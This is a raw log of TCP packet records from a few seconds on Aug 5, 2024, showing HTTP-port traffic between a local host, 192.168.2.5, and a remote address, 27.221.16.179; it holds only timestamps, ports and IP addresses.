Aug 5, 2024 11:59:52.433065891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433070898 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433099985 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433132887 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433159113 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433176994 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433181047 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433214903 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433247089 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433259010 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433295012 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433329105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433348894 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433361053 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433402061 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433450937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433485031 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433516026 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433533907 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433547974 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433595896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433628082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433641911 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.433664083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433721066 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.436028957 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.436083078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.436131001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.436161995 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.436163902 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.436173916 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.436197996 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.436244011 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.436784983 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.488811970 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.690078020 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.690167904 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.753652096 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753707886 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753741026 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753771067 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.753774881 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753808975 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753849983 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.753860950 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753895998 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753926992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753945112 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.753961086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.753978968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754015923 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754029989 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754036903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754062891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754096031 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754112005 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754128933 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754179001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754189014 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754231930 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754266024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754300117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754309893 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754333973 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754367113 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754370928 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754400969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754424095 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754432917 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754466057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754493952 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754497051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754529953 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754559040 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754561901 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754579067 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754612923 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754612923 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754652023 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754678011 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754815102 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754847050 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754873991 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754879951 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.754930973 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.754944086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.801326990 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.029948950 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.029984951 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030113935 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030145884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030153036 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.030179024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030210018 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.030213118 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030246019 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030280113 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.030299902 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030333996 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030352116 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.030787945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030826092 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030855894 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.030859947 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030894041 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030925035 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.030930042 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.030975103 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.031121969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031153917 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031187057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031207085 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.031254053 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031287909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031305075 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.031440973 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031472921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031500101 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.031507969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.031559944 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.032090902 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032123089 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032157898 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032175064 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.032188892 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032217026 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032263994 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032298088 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032329082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032335043 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.032361984 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.032361984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032397032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.032397032 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.032448053 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.033124924 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.033157110 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.033191919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.033209085 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.033227921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.033291101 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369076014 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369215012 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369262934 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369278908 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369297981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369333029 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369354010 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369365931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369399071 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369411945 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369432926 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369486094 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369645119 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369678974 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369712114 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369745016 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369827032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369859934 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369885921 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.369891882 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369925022 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.369939089 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.370165110 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370215893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370227098 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.370250940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370301008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370306015 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.370336056 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370368004 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370383024 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.370399952 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370434999 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370460987 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.370466948 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370498896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370528936 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.370532990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.370587111 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.371109009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371161938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371195078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371210098 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.371228933 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371277094 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.371279955 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371311903 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371345043 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371361017 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.371376991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371411085 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371427059 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.371443033 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371476889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.371489048 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.371983051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.372033119 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.720160961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720196009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720208883 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720266104 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.720339060 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720351934 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720361948 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720367908 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720405102 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.720499992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720510006 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720520020 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720531940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720542908 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720552921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720552921 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.720565081 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.720596075 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.720618010 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.721040010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721107960 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721121073 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721157074 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.721183062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721194983 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721205950 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721232891 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.721268892 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.721297979 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721317053 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721327066 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721338034 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721348047 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721359015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.721366882 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.721410036 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722158909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722171068 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722187042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722198009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722208023 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722213984 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722238064 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722248077 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722259998 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722299099 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722388029 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722398996 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722409010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722419024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722434044 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722465038 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722465038 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722481012 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.722951889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722965002 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722975969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.722986937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:53.723004103 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:53.723043919 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.032414913 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032507896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032531023 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032552004 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032571077 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032577038 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032582045 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032588005 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032597065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032608032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032618999 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032630920 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032641888 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032641888 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.032653093 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032674074 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032685041 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032695055 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032706976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.032706976 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.032718897 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.032742977 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.032753944 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.033802986 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033822060 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033878088 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.033931017 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033948898 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033967018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033972979 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033982992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.033993959 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034007072 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034008980 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.034018040 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034029961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034040928 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034043074 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.034053087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034053087 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.034066916 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034079075 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034096956 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.034101963 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.034126997 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.034140110 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.035058022 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035069942 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035123110 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.035226107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035238981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035248041 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035259008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035269976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035275936 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.035283089 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035305023 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.035321951 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.035371065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035383940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.035437107 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.302793026 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.302943945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.302993059 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.302997112 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303051949 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303066969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303101063 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303117990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303132057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303143978 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303157091 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303160906 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:54.303170919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:54.303196907 CEST	49764	80	192.168.2.5	27.221.16.179
